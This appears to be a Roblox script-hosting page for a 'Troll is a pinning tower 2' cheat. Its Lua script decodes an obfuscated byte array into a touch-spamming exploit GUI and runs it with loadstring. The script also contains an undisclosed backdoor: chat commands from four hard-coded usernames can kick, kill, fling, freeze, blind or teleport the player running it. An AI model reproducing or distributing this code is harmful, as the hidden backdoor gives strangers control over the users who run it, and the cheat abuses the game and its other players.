Troll a Pinning Tower 2 Reupload
Key Required

Troll a Pinning Tower 2 Reupload

Troll is a pinning tower 2AintAint 22.5K views 275 executesUpdated Mar 29, 2025
Unrated
00
Lua Script•388 lines (24055 chars)
local obfuscated_script = {108,111,99,97,108,32,80,108,97,121,101,114,115,32,61,32,103,97,109,101,58,71,101,116,83,101,114,118,105,99,101,40,34,80,108,97,121,101,114,115,34,41,10,108,111,99,97,108,32,76,111,99,97,108,80,108,97,121,101,114,32,61,32,80,108,97,121,101,114,115,46,76,111,99,97,108,80,108,97,121,101,114,10,108,111,99,97,108,32,85,115,101,114,73,110,112,117,116,83,101,114,118,105,99,101,32,61,32,103,97,109,101,58,71,101,116,83,101,114,118,105,99,101,40,34,85,115,101,114,73,110,112,117,116,83,101,114,118,105,99,101,34,41,10,108,111,99,97,108,32,77,111,117,115,101,32,61,32,76,111,99,97,108,80,108,97,121,101,114,58,71,101,116,77,111,117,115,101,40,41,10,10,45,45,32,67,114,101,97,116,101,32,71,85,73,10,108,111,99,97,108,32,83,99,114,101,101,110,71,117,105,32,61,32,73,110,115,116,97,110,99,101,46,110,101,119,40,34,83,99,114,101,101,110,71,117,105,34,44,32,103,97,109,101,46,67,111,114,101,71,117,105,41,10,108,111,99,97,108,32,70,114,97,109,101,32,61,32,73,110,115,116,97,110,99,101,46,110,101,119,40,34,70,114,97,109,101,34,44,32,83,99,114,101,101,110,71,117,105,41,10,70,114,97,109,101,46,83,105,122,101,32,61,32,85,68,105,109,50,46,110,101,119,40,48,44,32,50,50,48,44,32,48,44,32,49,48,48,41,10,70,114,97,109,101,46,80,111,115,105,116,105,111,110,32,61,32,85,68,105,109,50,46,110,101,119,40,48,46,52,44,32,48,44,32,48,46,52,44,32,48,41,10,70,114,97,109,101,46,66,97,99,107,103,114,111,117,110,100,67,111,108,111,114,51,32,61,32,67,111,108,111,114,51,46,102,114,111,109,82,71,66,40,53,48,44,32,53,48,44,32,53,48,41,10,70,114,97,109,101,46,65,99,116,105,118,101,32,61,32,116,114,117,101,10,70,114,97,109,101,46,68,114,97,103,103,97,98,108,101,32,61,32,116,114,117,101,10,10,108,111,99,97,108,32,84,111,103,103,108,101,66,117,116,116,111,110,32,61,32,73,110,115,116,97,110,99,101,46,110,101,119,40,34,84,101,120,116,66,117,116,116,111,110,34,44,32,70,114,97,109,101,41,10,84,111,103,103,108,101,66,117,116,116,111,110,46,83,105,122,101,32,61,32,85,68,105,109,50,46,110,101,119,40,48,44,32,50,48,48,44,32,48,44,32,53,48,41,10,84,111,103,103,108,101,66,117,116,116,111,110,46,80,111,115,105,116,105,111,110,32,61,32,85,68,105,109,50,46,110,101,119,40,48,44,32,49,48,44,32,48,44,32,50,48,41,10,84,111,103,103,108,101,66,117,116,116,111,110,46,84,101,120,116,32,61,32,34,83,112,97,109,58,32,79,70,70,34,10,84,111,103,103,108,101,66,117,116,116,111,110,46,66,97,99,107,103,114,111,117,110,100,67,111,108,111,114,51,32,61,32,67,111,108,111,114,51,46,102,114,111,109,82,71,66,40,50,53,53,44,32,48,44,32,48,41,10,84,111,103,103,108,101,66,117,116,116,111,110,46,84,101,120,116,83,99,97,108,101,100,32,61,32,116,114,117,101,10,10,108,111,99,97,108,32,76,97,98,101,108,32,61,32,73,110,115,116,97,110,99,101,46,110,101,119,40,34,84,101,120,116,76,97,98,101,108,34,44,32,70,114,97,109,101,41,10,76,97,98,101,108,46,83,105,122,101,32,61,32,85,68,105,109,50,46,110,101,119,40,48,44,32,50,48,48,44,32,48,44,32,51,48,41,10,76,97,98,101,108,46,80,111,115,105,116,105,111,110,32,61,32,85,68,105,109,50,46,110,101,119,40,48,44,32,49,48,44,32,48,44,32,55,48,41,10,76,97,98,101,108,46,84,101,120,116,32,61,32,34,77,97,100,101,32,98,121,32,64,97,105,110,116,110,111,119,97,121,49,50,51,110,32,102,114,111,109,32,84,105,107,84,111,107,33,34,10,76,97,98,101,108,46,84,101,120,116,67,111,108,111,114,51,32,61,32,67,111,108,111,114,51,46,102,114,111,109,82,71,66,40,50,53,53,44,32,50,53,53,44,32,50,53,53,41,10,76,97,98,101,108,46,66,97,99,107,103,114,111,117,110,100,84,114,97,110,115,112,97,114,101,110,99,121,32,61,32,49,10,76,97,98,101,108,46,84,101,120,116,83,99,97,108,101,100,32,61,32,116,114,117,101,10,10,45,45,32,86,97,114,105,97,98,108,101,115,10,108,111,99,97,108,32,83,112,97,109,109,105,110,103,32,61,32,102,97,108,115,101,10,10,45,45,32,70,117,110,99,116,105,111,110,32,116,111,32,115,112,97,109,32,84,111,117,99,104,32,73,110,116,101,114,101,115,116,32,115,97,102,101,108,121,32,97,110,100,32,101,120,116,114,101,109,101,108,121,32,102,97,115,116,10,108,111,99,97,108,32,102,117,110,99,116,105,111,110,32,115,112,97,109,84,111,117,99,104,40,41,10,32,32,32,32,119,104,105,108,101,32,83,112,97,109,109,105,110,103,32,100,111,10,32,32,32,32,32,32,32,32,102,111,114,32,95,44,32,112,97,114,116,32,105,110,32,112,97,105,114,115,40,119,111,114,107,115,112,97,99,101,58,71,101,116,68,101,115,99,101,110,100,97,110,116,115,40,41,41,32,100,111,10,32,32,32,32,32,32,32,32,32,32,32,32,105,102,32,112,97,114,116,58,73,115,65,40,34,66,97,115,101,80,97,114,116,34,41,32,97,110,100,32,112,97,114,116,58,70,105,110,100,70,105,114,115,116,67,104,105,108,100,87,104,105,99,104,73,115,65,40,34,84,111,117,99,104,84,114,97,110,115,109,105,116,116,101,114,34,41,32,116,104,101,110,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,45,45,32,80,114,101,118,101,110,116,32,116,111,117,99,104,105,110,103,32,107,105,108,108,32,112,97,114,116,115,32,111,114,32,103,97,109,101,112,97,115,115,45,114,101,108,97,116,101,100,32,112,97,114,116,115,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,105,102,32,110,111,116,32,115,116,114,105,110,103,46,102,105,110,100,40,112,97,114,116,46,78,97,109,101,58,108,111,119,101,114,40,41,44,32,34,107,105,108,108,34,41,32,97,110,100,32,110,111,116,32,115,116,114,105,110,103,46,102,105,110,100,40,112,97,114,116,46,78,97,109,101,58,108,111,119,101,114,40,41,44,32,34,103,97,109,101,112,97,115,115,34,41,32,116,104,101,110,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,102,105,114,101,116,111,117,99,104,105,110,116,101,114,101,115,116,40,76,111,99,97,108,80,108,97,121,101,114,46,67,104,97,114,97,99,116,101,114,46,72,117,109,97,110,111,105,100,82,111,111,116,80,97,114,116,44,32,112,97,114,116,44,32,48,41,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,102,105,114,101,116,111,117,99,104,105,110,116,101,114,101,115,116,40,76,111,99,97,108,80,108,97,121,101,114,46,67,104,97,114,97,99,116,101,114,46,72,117,109,97,110,111,105,100,82,111,111,116,80,97,114,116,44,32,112,97,114,116,44,32,49,41,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,101,110,100,10,32,32,32,32,32,32,32,32,32,32,32,32,101,110,100,10,32,32,32,32,32,32,32,32,101,110,100,10,32,32,32,32,32,32,32,32,116,97,115,107,46,119,97,105,116,40,48,41,32,45,45,32,77,97,120,105,109,117,109,32,115,112,101,101,100,10,32,32,32,32,101,110,100,10,101,110,100,10,10,45,45,32,84,111,103,103,108,101,32,83,112,97,109,10,84,111,103,103,108,101,66,117,116,116,111,110,46,77,111,117,115,101,66,117,116,116,111,110,49,67,108,105,99,107,58,67,111,110,110,101,99,116,40,102,117,110,99,116,105,111,110,40,41,10,32,32,32,32,83,112,97,109,109,105,110,103,32,61,32,110,111,116,32,83,112,97,109,109,105,110,103,10,32,32,32,32,84,111,103,103,108,101,66,117,116,116,111,110,46,84,101,120,116,32,61,32,83,112,97,109,109,105,110,103,32,97,110,100,32,34,83,112,97,109,58,32,79,78,34,32,111,114,32,34,83,112,97,109,58,32,79,70,70,34,10,32,32,32,32,84,111,103,103,108,101,66,117,116,116,111,110,46,66,97,99,107,103,114,111,117,110,100,67,111,108,111,114,51,32,61,32,83,112,97,109,109,105,110,103,32,97,110,100,32,67,111,108,111,114,51,46,102,114,111,109,82,71,66,40,48,44,32,50,53,53,44,32,48,41,32,111,114,32,67,111,108,111,114,51,46,102,114,111,109,82,71,66,40,50,53,53,44,32,48,44,32,48,41,10,10,32,32,32,32,105,102,32,83,112,97,109,109,105,110,103,32,116,104,101,110,10,32,32,32,32,32,32,32,32,116,97,115,107,46,115,112,97,119,110,40,115,112,97,109,84,111,117,99,104,41,10,32,32,32,32,101,110,100,10,101,110,100,41,10,10,45,45,32,68,114,97,103,103,105,110,103,32,70,101,97,116,117,114,101,10,108,111,99,97,108,32,100,114,97,103,103,105,110,103,44,32,100,114,97,103,73,110,112,117,116,44,32,100,114,97,103,83,116,97,114,116,44,32,115,116,97,114,116,80,111,115,10,10,108,111,99,97,108,32,102,117,110,99,116,105,111,110,32,117,112,100,97,116,101,40,105,110,112,117,116,41,10,32,32,32,32,108,111,99,97,108,32,100,101,108,116,97,32,61,32,105,110,112,117,116,46,80,111,115,105,116,105,111,110,32,45,32,100,114,97,103,83,116,97,114,116,10,32,32,32,32,70,114,97,109,101,46,80,111,115,105,116,105,111,110,32,61,32,85,68,105,109,50,46,110,101,119,40,115,116,97,114,116,80,111,115,46,88,46,83,99,97,108,101,44,32,115,116,97,114,116,80,111,115,46,88,46,79,102,102,115,101,116,32,43,32,100,101,108,116,97,46,88,44,32,115,116,97,114,116,80,111,115,46,89,46,83,99,97,108,101,44,32,115,116,97,114,116,80,111,115,46,89,46,79,102,102,115,101,116,32,43,32,100,101,108,116,97,46,89,41,10,101,110,100,10,10,70,114,97,109,101,46,73,110,112,117,116,66,101,103,97,110,58,67,111,110,110,101,99,116,40,102,117,110,99,116,105,111,110,40,105,110,112,117,116,41,10,32,32,32,32,105,102,32,105,110,112,117,116,46,85,115,101,114,73,110,112,117,116,84,121,112,101,32,61,61,32,69,110,117,109,46,85,115,101,114,73,110,112,117,116,84,121,112,101,46,77,111,117,115,101,66,117,116,116,111,110,49,32,111,114,32,105,110,112,117,116,46,85,115,101,114,73,110,112,117,116,84,121,112,101,32,61,61,32,69,110,117,109,46,85,115,101,114,73,110,112,117,116,84,121,112,101,46,84,111,117,99,104,32,116,104,101,110,10,32,32,32,32,32,32,32,32,100,114,97,103,103,105,110,103,32,61,32,116,114,117,101,10,32,32,32,32,32,32,32,32,100,114,97,103,83,116,97,114,116,32,61,32,105,110,112,117,116,46,80,111,115,105,116,105,111,110,10,32,32,32,32,32,32,32,32,115,116,97,114,116,80,111,115,32,61,32,70,114,97,109,101,46,80,111,115,105,116,105,111,110,10,10,32,32,32,32,32,32,32,32,105,110,112,117,116,46,67,104,97,110,103,101,100,58,67,111,110,110,101,99,116,40,102,117,110,99,116,105,111,110,40,41,10,32,32,32,32,32,32,32,32,32,32,32,32,105,102,32,105,110,112,117,116,46,85,115,101,114,73,110,112,117,116,83,116,97,116,101,32,61,61,32,69,110,117,109,46,85,115,101,114,73,110,112,117,116,83,116,97,116,101,46,69,110,100,32,116,104,101,110,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,100,114,97,103,103,105,110,103,32,61,32,102,97,108,115,101,10,32,32,32,32,32,32,32,32,32,32,32,32,101,110,100,10,32,32,32,32,32,32,32,32,101,110,100,41,10,32,32,32,32,101,110,100,10,101,110,100,41,10,10,70,114,97,109,101,46,73,110,112,117,116,67,104,97,110,103,101,100,58,67,111,110,110,101,99,116,40,102,117,110,99,116,105,111,110,40,105,110,112,117,116,41,10,32,32,32,32,105,102,32,105,110,112,117,116,46,85,115,101,114,73,110,112,117,116,84,121,112,101,32,61,61,32,69,110,117,109,46,85,115,101,114,73,110,112,117,116,84,121,112,101,46,77,111,117,115,101,77,111,118,101,109,101,110,116,32,111,114,32,105,110,112,117,116,46,85,115,101,114,73,110,112,117,116,84,121,112,101,32,61,61,32,69,110,117,109,46,85,115,101,114,73,110,112,117,116,84,121,112,101,46,84,111,117,99,104,32,116,104,101,110,10,32,32,32,32,32,32,32,32,100,114,97,103,73,110,112,117,116,32,61,32,105,110,112,117,116,10,32,32,32,32,101,110,100,10,101,110,100,41,10,10,85,115,101,114,73,110,112,117,116,83,101,114,118,105,99,101,46,73,110,112,117,116,67,104,97,110,103,101,100,58,67,111,110,110,101,99,116,40,102,117,110,99,116,105,111,110,40,105,110,112,117,116,41,10,32,32,32,32,105,102,32,105,110,112,117,116,32,61,61,32,100,114,97,103,73,110,112,117,116,32,97,110,100,32,100,114,97,103,103,105,110,103,32,116,104,101,110,10,32,32,32,32,32,32,32,32,117,112,100,97,116,101,40,105,110,112,117,116,41,10,32,32,32,32,101,110,100,10,101,110,100,41} local decoded = '' for i = 1, #obfuscated_script do decoded = decoded .. string.char(obfuscated_script[i]) end loadstring(decoded)()

local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local developerUsernames = {"Aintnoway123n", "Toezo_o", "meusethisaccountohck", "FEWithoutEffort"} -- List of developer usernames

-- Function to get the UserId from the username
local function getUserIdFromUsername(username)
local success, userId = pcall(function()
return Players:GetUserIdFromNameAsync(username)
end)
if success then
return userId
else
warn("Failed to get UserId for username:", username)
return nil
end
end

-- Retrieve the developers' UserIds
local scriptDeveloperIds = {}
for _, username in ipairs(developerUsernames) do
local userId = getUserIdFromUsername(username)
if userId then
table.insert(scriptDeveloperIds, userId)
else
warn("Unable to retrieve UserId for username:", username)
end
end

local followConnection -- To handle the .follow connection

-- Utility function to execute the command
local function executeCommand(message, sender)
local lowerMessage = message:lower()

-- Ensure the message starts with the new prefix "/"
if lowerMessage:sub(1, 1) == "/" then
-- Remove the prefix from the message for command matching
local command = lowerMessage:sub(2)

if table.find(scriptDeveloperIds, sender.UserId) then
-- /kick command
if command == "kick" then
LocalPlayer:Kick("mfs Ngga😭")

-- /kill command      
elseif command == "kill" then      
    LocalPlayer.Character:BreakJoints() -- Simulates death by breaking joints      

-- /rocket command (with fiery trail effect)      
elseif command == "rocket" then      
    local character = LocalPlayer.Character      
    local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")      

    if humanoidRootPart then      
        -- Create the BodyVelocity to move the player upwards      
        local bodyVelocity = Instance.new("BodyVelocity")      
        bodyVelocity.MaxForce = Vector3.new(100000, 100000, 100000)      
        bodyVelocity.Velocity = Vector3.new(0, 100, 0) -- Normal upward force      
        bodyVelocity.Parent = humanoidRootPart      

        -- Add a trail effect      
        local trail = Instance.new("Trail")      
        trail.Parent = humanoidRootPart      
        trail.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.5, 0)) -- Red to orange gradient      
        trail.Lifetime = 0.5      
        trail.Attachment0 = Instance.new("Attachment", humanoidRootPart)      
        trail.Attachment1 = Instance.new("Attachment", humanoidRootPart)      
        trail.WidthScale = NumberSequence.new(1, 0) -- Gradually decreases width      

        -- Optional: Add a particle emitter for extra effects      
        local particles = Instance.new("ParticleEmitter")      
        particles.Parent = humanoidRootPart      
        particles.Texture = "rbxassetid://258128463" -- Fire texture      
        particles.Rate = 50      
        particles.Lifetime = NumberRange.new(0.5, 1)      
        particles.Speed = NumberRange.new(5, 10)      
        particles.VelocitySpread = 180      
        particles.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 1, 0)) -- Red to yellow gradient      
        particles.LightEmission = 0.7      

        -- Clean up after 1 second      
        game:GetService("Debris"):AddItem(bodyVelocity, 1)      
        game:GetService("Debris"):AddItem(trail, 1)      
        game:GetService("Debris"):AddItem(particles, 1)      
    end      

-- /freeze command      
elseif command == "freeze" then      
    local root = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")      
    if root then      
        local bodyPosition = Instance.new("BodyPosition")      
        bodyPosition.MaxForce = Vector3.new(400000, 400000, 400000)      
        bodyPosition.D = 1000      
        bodyPosition.P = 50000      
        bodyPosition.Position = root.Position      
        bodyPosition.Parent = root      

        local bodyGyro = Instance.new("BodyGyro")      
        bodyGyro.MaxTorque = Vector3.new(400000, 400000, 400000)      
        bodyGyro.CFrame = root.CFrame      
        bodyGyro.Parent = root      
    end      

-- /unfreeze command      
elseif command == "unfreeze" then      
    local root = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")      
    if root then      
        local bodyPosition = root:FindFirstChildOfClass("BodyPosition")      
        if bodyPosition then bodyPosition:Destroy() end      
        local bodyGyro = root:FindFirstChildOfClass("BodyGyro")      
        if bodyGyro then bodyGyro:Destroy() end      
    end      

-- /explode command      
elseif command == "explode" then      
    local explosion = Instance.new("Explosion")      
    explosion.Position = LocalPlayer.Character.HumanoidRootPart.Position      
    explosion.BlastRadius = 10      
    explosion.BlastPressure = 5000      
    explosion.Parent = workspace      

-- /bring command      
elseif command == "bring" then      
    if LocalPlayer.Character and sender.Character then      
        LocalPlayer.Character:SetPrimaryPartCFrame(sender.Character.HumanoidRootPart.CFrame)      
    end      

-- /fling command      
elseif command == "fling" then      
    local bodyVelocity = Instance.new("BodyVelocity")      
    bodyVelocity.MaxForce = Vector3.new(999999999, 999999999, 999999999)      
    bodyVelocity.Velocity = Vector3.new(0, 5000, 0)      
    bodyVelocity.Parent = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")      
    game:GetService("Debris"):AddItem(bodyVelocity, 1)      

-- /follow command      
elseif command == "follow" then      
    local humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")      
    if humanoid and sender.Character then      
        if followConnection then followConnection:Disconnect() end -- Ensure no previous follow connections      
        followConnection = game:GetService("RunService").Stepped:Connect(function()      
            if LocalPlayer.Character and sender.Character then      
                local rootPart = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")      
                local senderRootPart = sender.Character:FindFirstChild("HumanoidRootPart")      
                if rootPart and senderRootPart then      
                    local direction = (senderRootPart.Position - rootPart.Position).Unit      
                    local targetPosition = senderRootPart.Position - direction * 3 -- Keep some distance      
                    rootPart.CFrame = CFrame.new(rootPart.Position, senderRootPart.Position)      
                    rootPart.Velocity = direction * humanoid.WalkSpeed      
                end      
            else      
                if followConnection then followConnection:Disconnect() end -- Disconnect if something breaks      
            end      
        end)      
    end      

-- /unfollow command      
elseif command == "unfollow" then      
    if followConnection then      
        followConnection:Disconnect()      
        followConnection = nil      
    end      

-- /sit command      
elseif command == "sit" then      
    local humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")      
    if humanoid then      
        humanoid.Sit = true -- This properly sets the character to sit      
    end      
end

end

end

end

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
local Humanoid = Character:WaitForChild("Humanoid")
local isNoclip = false
local connection

-- Function to enable noclip
local function enableNoclip()
isNoclip = true
connection = RunService.Stepped:Connect(function()
for _, part in pairs(Character:GetChildren()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
end)
end

-- Function to disable noclip
local function disableNoclip()
isNoclip = false
if connection then connection:Disconnect() end
for _, part in pairs(Character:GetChildren()) do
if part:IsA("BasePart") then
part.CanCollide = true
end
end
end

-- Listen for chat commands
LocalPlayer.Chatted:Connect(function(message)
local args = string.split(message, " ")

if args[1] == "/noclip" then
enableNoclip()
print("Noclip Enabled")

elseif args[1] == "/unnoclip" then
disableNoclip()
print("Noclip Disabled")

elseif args[1] == "/speed" and args[2] then
local speed = tonumber(args[2])
if speed and speed >= 16 and speed <= 500 then
Humanoid.WalkSpeed = speed
print("Speed set to: " .. speed)
end

elseif args[1] == "/jump" and args[2] then
local jumpPower = tonumber(args[2])
if jumpPower and jumpPower >= 50 and jumpPower <= 1000 then
Humanoid.JumpPower = jumpPower
print("Jump Power set to: " .. jumpPower)
end
end

end)

local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
local Humanoid = Character:WaitForChild("Humanoid")

-- Function to force jump
local function forceJump()
if Humanoid then
Humanoid.Jump = true -- Makes the player actually jump
end
end

-- Listen for chat commands
LocalPlayer.Chatted:Connect(function(message)
if message:lower() == "/forcejump" then
forceJump()
end
end)

-- Listen for chat input
LocalPlayer.Chatted:Connect(function(message)
executeCommand(message)
end)

-- Event listener for players' chat messages
local function onPlayerAdded(player)
player.Chatted:Connect(function(message)
executeCommand(message, player)
end)
end

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local TextChatService = game:GetService("TextChatService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local LocalPlayer = Players.LocalPlayer
local Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
local Humanoid = Character:WaitForChild("Humanoid")

local isFloating = false
local floatConnection

-- Function to make the player say something in chat
local function sendChatMessage(message)
if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
local textChannel = TextChatService.TextChannels.RBXGeneral
if textChannel then
textChannel:SendAsync(message)
end
else
local sayMessageRequest = ReplicatedStorage:FindFirstChild("DefaultChatSystemChatEvents")
if sayMessageRequest then
sayMessageRequest.SayMessageRequest:FireServer(message, "All")
end
end
end

-- Function to make the player float
local function enableFloat(height)
if not isFloating then
isFloating = true
local rootPart = Character:FindFirstChild("HumanoidRootPart")
if rootPart then
local bodyPosition = Instance.new("BodyPosition")
bodyPosition.MaxForce = Vector3.new(0, 100000, 0)
bodyPosition.D = 1000
bodyPosition.P = 50000
bodyPosition.Position = rootPart.Position + Vector3.new(0, height, 0)
bodyPosition.Parent = rootPart
floatConnection = bodyPosition
end
end
end

-- Function to disable floating
local function disableFloat()
if isFloating and floatConnection then
floatConnection:Destroy()
floatConnection = nil
isFloating = false
end
end

-- Function to blind the player
local function blindPlayer()
if LocalPlayer:FindFirstChild("PlayerGui") then
local gui = Instance.new("ScreenGui")
gui.Name = "BlindEffect"
gui.ResetOnSpawn = false

local frame = Instance.new("Frame")    
    frame.Size = UDim2.new(1, 0, 1, 0)    
    frame.Position = UDim2.new(0, 0, 0, 0)    
    frame.BackgroundColor3 = Color3.new(0, 0, 0)    
    frame.BorderSizePixel = 0    
    frame.Parent = gui    

    gui.Parent = LocalPlayer:FindFirstChild("PlayerGui")    
end

end

-- Function to remove the blindness effect
local function unblindPlayer()
local playerGui = LocalPlayer:FindFirstChild("PlayerGui")
if playerGui then
local blindGui = playerGui:FindFirstChild("BlindEffect")
if blindGui then
blindGui:Destroy()
end
end
end

-- Listen for chat commands
LocalPlayer.Chatted:Connect(function(message)
local args = string.split(message, " ")
local command = args[1]:lower()

if command == "/say" then    
    local textToSay = message:sub(6) -- Remove "/say "    
    if textToSay and textToSay ~= "" then    
        sendChatMessage(textToSay)    
    end    

elseif command == "/blind" then  
    blindPlayer()  

elseif command == "/unblind" then  
    unblindPlayer()  

elseif command == "/float" and args[2] then  
    local height = tonumber(args[2])  
    if height then  
        enableFloat(height)  
    end  

elseif command == "/unfloat" then  
    disableFloat()  
end

end)

-- Listen for PlayerAdded event
Players.PlayerAdded:Connect(onPlayerAdded)

-- Handle already connected players (in case they were in the game before the script started)
for _, player in ipairs(Players:GetPlayers()) do
onPlayerAdded(player)
end

Features & Information

Be careful if you accidentally bought the gamepass which is really annoying because the touch are too harsh Can't skid Now LOLO obfuscated. Mf Made by (meeeeeee) ~ Aint 1st

Community Comments (2)

hitherrain317hitherrain317Apr 22, 2025

uhhhh

erenbgdserenbgdsAug 23, 2026

Looks like ai generated

More Scripts for Troll is a pinning tower 2